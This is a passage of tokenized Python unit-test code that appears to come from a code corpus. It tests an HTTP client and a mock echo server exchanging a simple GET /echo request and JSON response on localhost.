"r", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "122", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "{_", "'", "host", "'_", ":_", "'", "127", ".0", ".0", ".1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mock", "Ech", "o", "Service_", "(_", "self_", ",_", "server_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "mock", " ", "echo", " ", "server", " ", "service", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "server_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "server_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Client_", "=_", "server_", "._", "ix", "es_", "._", "values_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Client_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msg", "In_", "==_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ix", "Client_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "122", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Client_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "server_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Patr", "on", "Pipe", "line", "Ech", "o", "Simple_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Patr", "on", " ", "pipeline", " ", "servic", "ing", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Patr", "on", "Pipe", "line", "Ech", "o", "Simple_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Connect", "or", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "alpha_", "._", "eh", "a_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "client", "ing_", "._", "Patr", "on_", "(_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reconnect", "able_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "odict_", "(_", "[_", "(_", "'", "method", "'_", ",_", "u", "'", "GET", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "path", "'_", ",_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "qa", "rg", "s", "'_", ",_", "odict_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "fragment", "'_", ",_", "u", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "header", "s", "'_", ",_", "odict_", "(_", "[_", "(_", "'", "Accept", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "body", "'_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Ech", "o", "Service_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "127", ".0", ".0", ".1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Ech", "o", "Service_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "127", ".0", ".0", ".1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mock", "Ech", "o", "Service", "Path_", "(_", "self_", ",_", "server_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "mock", " ", "echo", " ", "server", " ", "service", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "server_", "._", "ix", "es_", ":_", 